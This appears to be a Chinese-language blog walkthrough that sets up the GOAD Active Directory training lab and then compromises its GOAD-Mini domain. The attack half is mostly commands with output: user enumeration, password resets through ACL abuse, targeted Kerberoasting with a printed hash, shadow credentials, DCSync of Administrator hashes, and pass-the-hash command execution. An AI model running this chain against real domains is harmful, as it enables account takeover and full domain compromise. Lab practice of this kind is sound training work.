作者: /
infrastructure

硬體規格如下：
目標從最小的 lab 開始打，看看最後能否讓這台老電腦支撐我打完整的 GOAD

root@pve:~# fastfetch
         .://:`              `://:.             root@pve
       `hMMMMMMd/          /dMMMMMMh`           --------
        `sMMMMMMMd:      :mMMMMMMMs`            OS: Proxmox VE 9.2.10 x86_64
`-/+oo+/:`.yMMMMMMMh-  -hMMMMMMMy.`:/+oo+/-`    Host: BM6AE_BM1AE_BP1AE
`:oooooooo/`-hMMMMMMMyyMMMMMMMh-`/oooooooo:`    Kernel: Linux 7.0.14-11-pve
  `/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo/`      Uptime: 11 mins
    ./ooooooo+- +NMMMMMMMMN+ -+ooooooo/.        Packages: 782 (dpkg)
      .+ooooooo+-`oNMMMMNo`-+ooooooo+.          Shell: bash 5.2.37
        -+ooooooo/.`sMMs`./ooooooo+-            Terminal: termproxy
          :oooooooo/`..`/oooooooo:              CPU: Intel(R) Core(TM) i7-4790 (8) @ 4.00 GHz
          :oooooooo/`..`/oooooooo:              GPU: Intel Xeon E3-1200 v3/4th Gen Core Processor Integrated Graphics Controller @ 1.20 GHz [Integrated]
        -+ooooooo/.`sMMs`./ooooooo+-            Memory: 3.11 GiB / 31.22 GiB (10%)
      .+ooooooo+-`oNMMMMNo`-+ooooooo+.          Swap: 792.84 MiB / 8.00 GiB (10%)
    ./ooooooo+- +NMMMMMMMMN+ -+ooooooo/.        Disk (/): 18.67 GiB / 93.93 GiB (20%) - ext4
  `/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo/`      Disk (/mnt/hdd): 147.23 GiB / 915.82 GiB (16%) - ext4
`:oooooooo/`-hMMMMMMMyyMMMMMMMh-`/oooooooo:`    Local IP (vmbr0): 192.168.8.2/24
`-/+oo+/:`.yMMMMMMMh-  -hMMMMMMMy.`:/+oo+/-`    Locale: en_US.UTF-8
        `sMMMMMMMm:      :dMMMMMMMs`
       `hMMMMMMd/          /dMMMMMMh`                                   
         `://:`              `://:`

在 pve 上建立一個 VM ，我選用 kali iso ，VM 裝好後在 Hardware 將 Processors 的 type 改成 host

install virualbox

sudo apt install virtualbox -y

install vagrant

wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg

echo "deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com bookworm main" | sudo tee /etc/apt/sources.list.d/hashicorp.list

sudo apt update && sudo apt install vagrant -y

install vagrant plugin

vagrant plugin install vagrant-reload vagrant-vbguest winrm winrm-fs winrm-elevated

install docker

sudo apt install docker.io -y

clone repository

git clone https://github.com/Orange-Cyberdefense/GOAD.git

build docker image

cd GOAD
sudo docker build -t goadansible .

環境搞好後就能開始建 lab 了

./goad.sh -t install -l GOAD-Mini -p virtualbox -m docker
  • status
┌──(kali㉿kali)-[~/GOAD]
└─$ ./goad.sh -t status -l MINILAB

   _____   _____          _____
  / ____| / ||| \   /\   |  __ \
 | |  __||  |||  | /  \  | |  | |
 | | |_ ||  |||  |/ /\ \ | |  | |
 | |__| ||  |||  / /__\ \| |__| |
  \_____| \_|||_/________\_____/
    Game Of Active Directory
      Pwning is coming

Goad management console type help or ? to list commands

[*] lab instances :
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Instance ID                 ┃ Lab       ┃ Provider   ┃ IP Range        ┃ Status    ┃ Is Default ┃ Extensions ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│ 3ae1cf-goad-mini-virtualbox │ GOAD-Mini │ virtualbox │ 192.168.56.0/24 │ installed │ Yes        │            │
└─────────────────────────────┴───────────┴────────────┴─────────────────┴───────────┴────────────┴────────────┘
  • start
┌──(kali㉿kali)-[~/GOAD]
└─$ ./goad.sh -t start -i 3ae1cf-goad-mini-virtualbox

   _____   _____          _____
  / ____| / ||| \   /\   |  __ \
 | |  __||  |||  | /  \  | |  | |
 | | |_ ||  |||  |/ /\ \ | |  | |
 | |__| ||  |||  / /__\ \| |__| |
  \_____| \_|||_/________\_____/
    Game Of Active Directory
      Pwning is coming

Goad management console type help or ? to list commands

[*] lab instances :
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Instance ID                 ┃ Lab       ┃ Provider   ┃ IP Range        ┃ Status    ┃ Is Default ┃ Extensions ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│ 3ae1cf-goad-mini-virtualbox │ GOAD-Mini │ virtualbox │ 192.168.56.0/24 │ installed │ Yes        │            │
└─────────────────────────────┴───────────┴────────────┴─────────────────┴───────────┴────────────┴────────────┘
[*] Current user is not in docker group, we will use "sudo" before docker commands
[*] CWD: /
[*] Running command : sudo docker images |grep -c "goadansible"
[sudo] password for kali:
1
[+] Docker image exist
[+] Instance 3ae1cf-goad-mini-virtualbox loaded
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┓
┃ Instance ID                   ┃ Lab       ┃ Provider   ┃ IP Range        ┃ Status    ┃ Is Default ┃ Extensions ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━┩
│ > 3ae1cf-goad-mini-virtualbox │ GOAD-Mini │ virtualbox │ 192.168.56.0/24 │ installed │ Yes        │            │
└───────────────────────────────┴───────────┴────────────┴─────────────────┴───────────┴────────────┴────────────┘
[*] CWD: /workspace/3ae1cf-goad-mini-virtualbox/provider
[*] Running command : vagrant up
Bringing machine 'GOAD-Mini-DC01' up with 'virtualbox' provider...
==> GOAD-Mini-DC01: Checking if box 'StefanScherer/windows_2019' version '2021.05.15' is up to date...
==> GOAD-Mini-DC01: Clearing any previously set forwarded ports...
==> GOAD-Mini-DC01: Clearing any previously set network interfaces...
==> GOAD-Mini-DC01: Preparing network interfaces based on configuration...
    GOAD-Mini-DC01: Adapter 1: nat
    GOAD-Mini-DC01: Adapter 2: hostonly
==> GOAD-Mini-DC01: Forwarding ports...
    GOAD-Mini-DC01: 5985 (guest) => 55985 (host) (adapter 1)
    GOAD-Mini-DC01: 5986 (guest) => 55986 (host) (adapter 1)
    GOAD-Mini-DC01: 22 (guest) => 2222 (host) (adapter 1)
==> GOAD-Mini-DC01: Running 'pre-boot' VM customizations...
==> GOAD-Mini-DC01: Booting VM...
==> GOAD-Mini-DC01: Waiting for machine to boot. This may take a few minutes...
    GOAD-Mini-DC01: WinRM address: 127.0.0.1:55985
    GOAD-Mini-DC01: WinRM username: vagrant
    GOAD-Mini-DC01: WinRM execution_time_limit: PT2H
    GOAD-Mini-DC01: WinRM transport: negotiate
==> GOAD-Mini-DC01: Machine booted and ready!
==> GOAD-Mini-DC01: Checking for guest additions in VM...
    GOAD-Mini-DC01: The guest additions on this VM do not match the installed version of
    GOAD-Mini-DC01: VirtualBox! In most cases this is fine, but in rare cases it can
    GOAD-Mini-DC01: prevent things such as shared folders from working properly. If you see
    GOAD-Mini-DC01: shared folder errors, please make sure the guest additions within the
    GOAD-Mini-DC01: virtual machine match the version of VirtualBox you have installed on
    GOAD-Mini-DC01: your host and reload your VM.
    GOAD-Mini-DC01:
    GOAD-Mini-DC01: Guest Additions Version: 6.1.22
    GOAD-Mini-DC01: VirtualBox Version: 7.2
==> GOAD-Mini-DC01: Configuring and enabling network interfaces...
==> GOAD-Mini-DC01: Machine already provisioned. Run `vagrant provision` or use the `--provision`
==> GOAD-Mini-DC01: flag to force provisioning. Provisioners marked to run always will still run

再裝 MINILAB 的時候碰到記憶體吃滿在匯入 VirtualBox 時整台死機。
先讓它跑完前置 VM 建起來，後續再用 goad.sh 重新 install 

cd /workspace/c4bd04-minilab-virtualbox/provider

vagrant box add --provider virtualbox mayfly/windows10
cd ~/GOAD/workspace/c4bd04-minilab-virtualbox/provider

vagrant destroy -f WS01

vagrant up WS01

MINILAB

GOAD-Mini

solution one

根據這張圖，實在沒辦法了只能利用 kerbrute 枚舉 users

┌──(kali㉿kali)-[~/mini]
└─$ ../tools/kerbrute/dist/kerbrute_linux_amd64 userenum -d sevenkingdoms.local --dc 192.168.56.10 /usr/share/wordlists/rockyou.txt -o users

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (9cfb81e) - 08/11/26 - Ronnie Flathers @ropnop

2026/08/11 23:22:23 >  Using KDC(s):
2026/08/11 23:22:23 >   192.168.56.10:88

2026/08/11 23:22:29 >  [+] VALID USERNAME:       [email protected]
2026/08/11 23:23:07 >  [+] VALID USERNAME:       [email protected]

找到 administrator,vagrant，嘗試 username=password 就打完了..

┌──(kali㉿kali)-[~/GOAD]
└─$ nxc smb 192.168.56.10 -u vagrant -p vagrant
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\vagrant:vagrant (Pwn3d!)

solution two

Kerberos Authentication 知識補充

assume breach tywin.lannister:powerkingftw135

┌──(kali㉿kali)-[~/mini]
└─$ bloodhound-python -d 'sevenkingdoms.local' -ns '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -c all --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sevenkingdoms.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local
INFO: Found 16 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 9 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: kingslanding.sevenkingdoms.local
INFO: Done in 00M 01S
INFO: Compressing output into 20260812053335_bloodhound.zip

攻擊路徑如下

image

ForceChangePassword to JAIME.LANNISTER：
用 tywin.lannister 更改 JAIME.LANNISTER 的密碼

┌──(kali㉿kali)-[~/mini]
└─$ nxc smb '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -M change-password -o USER='JAIME.LANNISTER' NEWPASS='P@$$w0rd'
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\tywin.lannister:powerkingftw135
CHANGE-P... 192.168.56.10   445    KINGSLANDING     [+] Successfully changed password for JAIME.LANNISTER

┌──(kali㉿kali)-[~/mini]
└─$ nxc smb '192.168.56.10' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'
SMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\JAIME.LANNISTER:P@$$w0rd

GenericWrite 取得 joffrey.baratheon 的 hash 並破解，得明文密碼 1killerlion

┌──(kali㉿kali)-[~/mini]
└─$ ../tools/targetedKerberoast/targetedKerberoast.py -v -d 'sevenkingdoms.local' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (joffrey.baratheon)
[+] Printing hash for (joffrey.baratheon)
$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local/joffrey.baratheon*$b905c2a3d5da4a43c57a80ba3689cc26$c440c9645606bcae5a01ca8228a89595695628a5028d855b1fb6f0f1acd66d119f603c6a9c4c6fba05bc9f6d365d3cc717a5a2ea4e6a85a4deb75392c52a569e31ba844a2196b04caa41ef63f6d8881d4a6d2b4d26c57ecdc90e9781f13d2565228db325efc7c3fc8c7d9e93f590d582f44ce67c12f1d7e3e22693cc597303c832fd1d63a648edc7cf612c865ae61371e648394fef91b7d369039cfdbe2152c955d83fc84d6fbe4ed7be48f752ed3ab92ac4949b6be459260889ed0e1877dd97ea8cb0e2cb269d71af740aded3ede16ff9869154f28e0904cf543d6cdb77c712697bc08dd0a6d1d6c0915c05e35d8c05f98f4c8b23481cfb46737f59d87920c554c891aade225ec2d0bd4d569782efaae418628edac4e005e5182e055543c36c4b7b95aaaaeb6b468990437de839381052e75d9598216c30020189bb9456d62810b6a039c979f66310feefb86a3afcbe91ef4efb9d63356db76e83b88d329ba6e00b1ba04a7731e1950d13970c628086583c2ce01971c39c3f0fb97324b5b8ae7aa281661f0b5cbdc4dd839c14c607fb23d6e4d59749fb3cbc9ed2d147e799675eb6fc3c711f6a1f45482ddef9ceffbf8c67e168198ff87231fe0dbb4ae48832e2c6e6863041e5357188b28f98d02d8f2d3961a24a725de0ed49eb5050cf2b168533cd1cd5358b6aa669509134caef2599bc710c23c4d89086841b03d181b2021af4a7aa08f9bd780e6c7d32b6c629dd800450f61a5e8ef5d91bda70c9cd9569e0a12d9751ed6826a05c29f372e6e72173886c5df8799c17bf43adab7967211f6fd935cf22ae4d0cb58095fe4b33b9b6a40df9f3f8fc2c68ffaa154a37dca773bb55a81defcbc804d325b3dab9d1e480e96cb301c5539dcceb5ffc8cd81de96284722a04534df1ff6e0a0cb9a044baeb2ec76b45167ac7c25706a60870183af200ef7f409646ddd2af9958c017c7669547f47ac2eadbc06415c557ba1fbbb7527a36617818321f834d430026477872e6caffb0c4d2789ee9fc05e8c1aee2609dc27264aef6c7ef43111bace179022689c4d574cfe5664ef77a581cac15428f2aa762ba393f7d3a3bfbf26ceb995bac378c09fa426cd965236e15ab2288f5d8ed0cea922f9eb33b8bb485e46a497f2278fe84c1b3a71ec301f14d5e2afd823d48e4c4a9fba72d935b83436870a7e79f379f2e8d49640a6f8fb7d3f43f36034d0eb0d3b7e0401618b1e1a96e573b9bd2d312da4f5981f933f85e87ed8657f31b99b6df968e7eb60fde2e3acefa43c3e7fb5d7f62d68a649cd719cef9f467ff14c72e9ed556df40fae616affabafc49d82593da610398112d2e111397f115a3b07029d9a611031c4a499cd52123ee4bb70df94ec6642c85fd5fea5b1a5a0694aab6a619f99fccda5a5ba7de4e7c53dcefe5f3cc11f4f5da428bc18ec4b8f70d5d556b7c15c8c3bf2d5550bb76ae740b28727b84f7ec1f168147bd87ea0d28b41c59ca61b1305119236eaa343c
[VERBOSE] SPN removed successfully for (joffrey.baratheon)

WriteDacl to TYRON.LANNISTER ：
joffrey.baratheon 有權限改 ACL ， 那就將原本的 WriteDacl 變成 GenericAll

┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' add genericall 'TYRON.LANNISTER' 'joffrey.baratheon'
[+] joffrey.baratheon has now GenericAll on TYRON.LANNISTER

之後再改密碼

┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'joffrey.baratheon' -p '1killerlion' set password 'TYRON.LANNISTER' 'P@$$w0rd'
[+] Password changed successfully!

AddSelf to SMALL COUNCIL group：
把自己加進去

┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'SMALL COUNCIL' TYRON.LANNISTER
[+] TYRON.LANNISTER added to SMALL COUNCIL

AddMember to DRAGONSTONE group：
進到 SMALL COUNCIL group 後有權限再把自己加進去 DRAGONSTONE group

┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember 'DRAGONSTONE' TYRON.LANNISTER
[+] TYRON.LANNISTER added to DRAGONSTONE

WriteOwner to KINGSGUARD group：
先將自己設為 owner

┌──(kali㉿kali)-[~/mini]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set owner KINGSGUARD TYRON.LANNISTER
[+] Old owner S-1-5-21-3054539889-205875298-3539716541-1000 is now replaced by TYRON.LANNISTER on KINGSGUARD

修改對該 group 權限為 GenericAll

┌──(kali㉿kali)-[~]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add genericall KINGSGUARD TYRON.LANNISTER
[+] TYRON.LANNISTER has now GenericAll on KINGSGUARD

有了 GenericAll 後將自己加進去那個 group

┌──(kali㉿kali)-[~]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' add groupMember KINGSGUARD TYRON.LANNISTER
[+] TYRON.LANNISTER added to KINGSGUARD

GenericAll to STANNIS.BARATHEON：
改密碼

┌──(kali㉿kali)-[~]
└─$ bloodyad --host 192.168.56.10 -d sevenkingdoms.local -u 'TYRON.LANNISTER' -p 'P@$$w0rd' set password STANNIS.BARATHEON 'P@$$w0rd'
[+] Password changed successfully!

GenericAll to KINGSLANDING$ computer account：
拿到 STANNIS.BARATHEON 帳號後，利用 shadow credentials 拿到 KINGSLANDING$ 的 TGT、credential cache

┌──(kali㉿kali)-[~/mini]
└─$ certipy-ad shadow auto -u '[email protected]' -p 'P@$$w0rd' -account 'KINGSLANDING$' -dc-ip 192.168.56.10
Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'KINGSLANDING$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '3117ccb6539440819fd1e6e3c8b5743c'
[*] Adding Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'
[*] Successfully added Key Credential with device ID '3117ccb6539440819fd1e6e3c8b5743c' to the Key Credentials for 'KINGSLANDING$'
[*] Authenticating as 'KINGSLANDING$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'kingslanding.ccache'
[*] Wrote credential cache to 'kingslanding.ccache'
[*] Trying to retrieve NT hash for 'kingslanding$'
[*] Restoring the old Key Credentials for 'KINGSLANDING$'
[*] Successfully restored the old Key Credentials for 'KINGSLANDING$'
[*] NT hash for 'KINGSLANDING$': e2c3655173062c11d8597e9d3bb27081

export kerberos credential cache

┌──(kali㉿kali)-[~/mini]
└─$ export KRB5CCNAME=$(pwd)/kingslanding.ccache

┌──(kali㉿kali)-[~/mini]
└─$ klist
Ticket cache: FILE:/home/kali/mini/kingslanding.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
08/13/2026 00:09:33  08/13/2026 10:09:33  krbtgt/[email protected]
        renew until 08/14/2026 00:09:33

利用 KINGSLANDING$ 的 TGT ， DCSync 拿到 administrator 的 HT hash 後驗證可登入 Pwn3d!

┌──(kali㉿kali)-[~/mini]
└─$ impacket-secretsdump -k -no-pass -just-dc-user Administrator -dc-ip 192.168.56.10 'sevenkingdoms.local/[email protected]'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
Administrator:aes128-cts-hmac-sha1-96:0c72a36a70f696fbee13a25fd3412d43
Administrator:des-cbc-md5:7f2cd0836164e592
[*] Cleaning up...

┌──(kali㉿kali)-[~/mini]
└─$ nxc winrm '192.168.56.10' -u administrator -H c66d72021a2d4744409969a581a1705e -x "whoami && hostname"
WINRM       192.168.56.10   5985   KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 (name:KINGSLANDING) (domain:sevenkingdoms.local)
WINRM       192.168.56.10   5985   KINGSLANDING     [+] sevenkingdoms.local\administrator:c66d72021a2d4744409969a581a1705e (Pwn3d!)
WINRM       192.168.56.10   5985   KINGSLANDING     [+] Executed command (shell type: cmd)
WINRM       192.168.56.10   5985   KINGSLANDING     sevenkingdoms\administrator
WINRM       192.168.56.10   5985   KINGSLANDING     kingslanding

Post Views: 57

Related Posts

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

返回頂端